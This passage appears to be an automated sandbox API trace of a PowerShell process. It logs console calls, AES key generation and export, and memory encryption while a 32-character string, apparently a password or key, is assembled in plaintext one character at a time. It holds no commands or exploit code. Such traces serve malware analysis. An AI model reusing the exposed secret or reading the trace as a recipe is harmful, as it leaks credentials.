TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0192.218] GetConsoleOutputCP () returned 0x1b5 [0192.219] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0192.221] GetConsoleOutputCP () returned 0x1b5 [0192.221] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0192.221] GetConsoleOutputCP () returned 0x1b5 [0192.221] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0192.221] GetConsoleOutputCP () returned 0x1b5 [0192.222] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0192.222] GetConsoleOutputCP () returned 0x1b5 [0192.223] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0192.223] GetConsoleOutputCP () returned 0x1b5 [0192.223] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0192.223] GetConsoleOutputCP () returned 0x1b5 [0192.223] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0192.224] GetConsoleOutputCP () returned 0x1b5 [0192.224] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0192.224] GetConsoleOutputCP () returned 0x1b5 [0192.224] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0192.224] GetConsoleOutputCP () returned 0x1b5 [0192.225] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0192.226] GetConsoleOutputCP () returned 0x1b5 [0192.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0192.226] GetConsoleOutputCP () returned 0x1b5 [0192.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0192.227] GetConsoleOutputCP () returned 0x1b5 [0192.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0192.227] GetConsoleOutputCP () returned 0x1b5 [0192.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0192.227] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0192.228] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0192.229] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2483088*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x2483088*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0192.230] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0192.230] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0192.234] EtwEventActivityIdControl () returned 0x0 [0192.235] EtwEventActivityIdControl () returned 0x0 [0192.235] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0192.236] EtwEventActivityIdControl () returned 0x0 [0192.236] EtwEventActivityIdControl () returned 0x0 [0192.236] EtwEventActivityIdControl () returned 0x0 [0192.241] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0192.243] EtwEventActivityIdControl () returned 0x0 [0192.243] EtwEventActivityIdControl () returned 0x0 [0192.243] EtwEventActivityIdControl () returned 0x0 [0192.436] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x5c4cdd0) returned 1 [0192.443] CryptGenKey (in: hProv=0x5c4cdd0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c68e40) returned 1 [0192.443] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0192.443] CryptExportKey (in: hKey=0x5c68e40, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0192.443] CryptExportKey (in: hKey=0x5c68e40, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x248ad80, pdwDataLen=0x5a2e79c | out: pbData=0x248ad80*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0192.443] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0192.444] EtwEventActivityIdControl () returned 0x0 [0192.444] EtwEventActivityIdControl () returned 0x0 [0192.444] EtwEventActivityIdControl () returned 0x0 [0192.445] SysStringLen (param_1="") returned 0x8 [0192.445] SysStringLen (param_1="g") returned 0x8 [0192.445] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.446] SysStringLen (param_1="풎㏲楣឴र鶪籕ἡ") returned 0x8 [0192.446] SysStringLen (param_1="풎㏲楣឴र鶪籕ἡ") returned 0x8 [0192.446] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.446] SysStringLen (param_1="gn") returned 0x8 [0192.446] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.447] SysStringLen (param_1="鑱摼େ␫딎䗵ブ") returned 0x8 [0192.447] SysStringLen (param_1="鑱摼େ␫딎䗵ブ") returned 0x8 [0192.447] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.447] SysStringLen (param_1="gnL") returned 0x8 [0192.447] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.447] SysStringLen (param_1="䨺뼗〧₩❸暖쏪") returned 0x8 [0192.447] SysStringLen (param_1="䨺뼗〧₩❸暖쏪") returned 0x8 [0192.447] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.447] SysStringLen (param_1="gnL4") returned 0x8 [0192.447] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.447] SysStringLen (param_1="玆瘲鼹㮨柰ꜘꧫՎ") returned 0x8 [0192.447] SysStringLen (param_1="玆瘲鼹㮨柰ꜘꧫՎ") returned 0x8 [0192.447] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.448] SysStringLen (param_1="gnL4w") returned 0x8 [0192.448] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.448] SysStringLen (param_1="鞭⹤賑ᖱ債㈗咷䯇") returned 0x8 [0192.448] SysStringLen (param_1="鞭⹤賑ᖱ債㈗咷䯇") returned 0x8 [0192.448] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.448] SysStringLen (param_1="gnL4wk") returned 0x8 [0192.448] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.448] SysStringLen (param_1="Ұ惜䊤\㷘钽熶∕) returned 0x8 [0192.448] SysStringLen (param_1="Ұ惜䊤\㷘钽熶∕) returned 0x8 [0192.448] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.448] SysStringLen (param_1="gnL4wk8") returned 0x8 [0192.448] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.448] SysStringLen (param_1="뭪い␢櫈鈴俚❛") returned 0x8 [0192.449] SysStringLen (param_1="뭪い␢櫈鈴俚❛") returned 0x8 [0192.449] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.449] SysStringLen (param_1="gnL4wk8v") returned 0x8 [0192.449] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.449] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞") returned 0x8 [0192.449] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞") returned 0x8 [0192.449] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞") returned 0x8 [0192.450] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞") returned 0x10 [0192.450] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.450] SysStringLen (param_1="gnL4wk8vM畐熑肜壝ꑻ氬") returned 0x10 [0192.450] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.450] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞値㥱ଢ詝\꿞砜⊔) returned 0x10 [0192.450] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞値㥱ଢ詝\꿞砜⊔) returned 0x10 [0192.450] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.450] SysStringLen (param_1="gnL4wk8vMu熑肜壝ꑻ氬") returned 0x10 [0192.450] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.450] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞⨢䅜ⶦﶟɨ꠹寱") returned 0x10 [0192.450] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞⨢䅜ⶦﶟɨ꠹寱") returned 0x10 [0192.450] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.451] SysStringLen (param_1="gnL4wk8vMuy肜壝ꑻ氬") returned 0x10 [0192.451] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.451] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞ᠰ剶ﯧ붖ꬪ咶餌፧") returned 0x10 [0192.451] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞ᠰ剶ﯧ붖ꬪ咶餌፧") returned 0x10 [0192.451] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.451] SysStringLen (param_1="gnL4wk8vMuya壝ꑻ氬") returned 0x10 [0192.451] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.451] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞꒧㽩㰚ֈᦖ逖엻㕂") returned 0x10 [0192.451] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞꒧㽩㰚ֈᦖ逖엻㕂") returned 0x10 [0192.451] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.451] SysStringLen (param_1="gnL4wk8vMuya2ꑻ氬") returned 0x10 [0192.452] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.452] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞᤿얷檖馛쟘蟋鿮") returned 0x10 [0192.452] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞᤿얷檖馛쟘蟋鿮") returned 0x10 [0192.452] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.452] SysStringLen (param_1="gnL4wk8vMuya2o氬") returned 0x10 [0192.452] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.452] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞뙔畚隥䇃闅聓ꈒ") returned 0x10 [0192.452] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞뙔畚隥䇃闅聓ꈒ") returned 0x10 [0192.452] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.452] SysStringLen (param_1="gnL4wk8vMuya2oD") returned 0x10 [0192.452] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.452] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞ꊞꐸᶠ葂鼱\郝≆) returned 0x10 [0192.452] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞ꊞꐸᶠ葂鼱\郝≆) returned 0x10 [0192.452] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.453] SysStringLen (param_1="gnL4wk8vMuya2oD/") returned 0x10 [0192.453] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.453] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗") returned 0x10 [0192.453] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗") returned 0x10 [0192.453] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗") returned 0x10 [0192.453] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗") returned 0x18 [0192.453] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.453] SysStringLen (param_1="gnL4wk8vMuya2oD/G玍롐෼尗᪥㟱ꔬ") returned 0x18 [0192.453] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.454] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗ꁤ뤂፼兪쭊큷ㅛ溵") returned 0x18 [0192.454] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗ꁤ뤂፼兪쭊큷ㅛ溵") returned 0x18 [0192.454] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.454] SysStringLen (param_1="gnL4wk8vMuya2oD/Gv롐෼尗᪥㟱ꔬ") returned 0x18 [0192.454] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.454] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗ԡ缾挫䮵⁤᭥") returned 0x18 [0192.454] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗ԡ缾挫䮵⁤᭥") returned 0x18 [0192.454] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.454] SysStringLen (param_1="gnL4wk8vMuya2oD/GvC෼尗᪥㟱ꔬ") returned 0x18 [0192.454] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.454] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗ᘩ蓟垈᮫⣦ꙕ䢵") returned 0x18 [0192.454] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗ᘩ蓟垈᮫⣦ꙕ䢵") returned 0x18 [0192.454] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.455] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCg尗᪥㟱ꔬ") returned 0x18 [0192.455] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.455] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗햚\㩶㬶㮦≮) returned 0x18 [0192.455] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗햚\㩶㬶㮦≮) returned 0x18 [0192.455] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.455] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgU᪥㟱ꔬ") returned 0x18 [0192.455] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.455] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗횷憨׫勡섘攓㊃圽") returned 0x18 [0192.455] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗횷憨׫勡섘攓㊃圽") returned 0x18 [0192.455] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.455] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUl㟱ꔬ") returned 0x18 [0192.455] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.455] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗ࢄ鮕䧲瀣⅞╧嵘뀘") returned 0x18 [0192.455] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗ࢄ鮕䧲瀣⅞╧嵘뀘") returned 0x18 [0192.456] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.456] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlpꔬ") returned 0x18 [0192.456] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.456] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗\៝贃ଵ쌡䢧弶暬⊕) returned 0x18 [0192.456] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗\៝贃ଵ쌡䢧弶暬⊕) returned 0x18 [0192.456] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.456] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlpl") returned 0x18 [0192.456] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.457] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ") returned 0x18 [0192.457] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ") returned 0x18 [0192.457] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ") returned 0x18 [0192.457] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ") returned 0x20 [0192.457] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.460] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplr顕⒘ﯾ죵ᐕ៨ㅌ") returned 0x20 [0192.460] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.460] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ秧⿅鴃浪曶ｸ⪰") returned 0x20 [0192.460] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ秧⿅鴃浪曶ｸ⪰") returned 0x20 [0192.460] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.460] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrR⒘ﯾ죵ᐕ៨ㅌ") returned 0x20 [0192.460] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.461] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ몪殉༬㖟\כ㖞⋓) returned 0x20 [0192.461] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ몪殉༬㖟\כ㖞⋓) returned 0x20 [0192.461] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.461] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRbﯾ죵ᐕ៨ㅌ") returned 0x20 [0192.461] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.461] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ椂豃ฺͥ죑詆碨䉤") returned 0x20 [0192.461] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ椂豃ฺͥ죑詆碨䉤") returned 0x20 [0192.461] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.461] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7죵ᐕ៨ㅌ") returned 0x20 [0192.461] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.461] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ폌战덆勿駂ᾴ") returned 0x20 [0192.461] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ폌战덆勿駂ᾴ") returned 0x20 [0192.462] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.462] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fᐕ៨ㅌ") returned 0x20 [0192.462] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.462] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ᮴鵑ࢷ軣圎ፒ") returned 0x20 [0192.462] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ᮴鵑ࢷ軣圎ፒ") returned 0x20 [0192.462] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.462] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fU៨ㅌ") returned 0x20 [0192.462] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.462] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ튊㓺谘幽ꚍ쁓赅턥") returned 0x20 [0192.462] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ튊㓺谘幽ꚍ쁓赅턥") returned 0x20 [0192.462] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.462] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fUUㅌ") returned 0x20 [0192.463] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.463] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷぃ䖁毷뜍䤘荲") returned 0x20 [0192.463] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷぃ䖁毷뜍䤘荲") returned 0x20 [0192.463] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.463] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fUUa") returned 0x20 [0192.463] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.463] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ") returned 0x20 [0192.463] SysStringLen 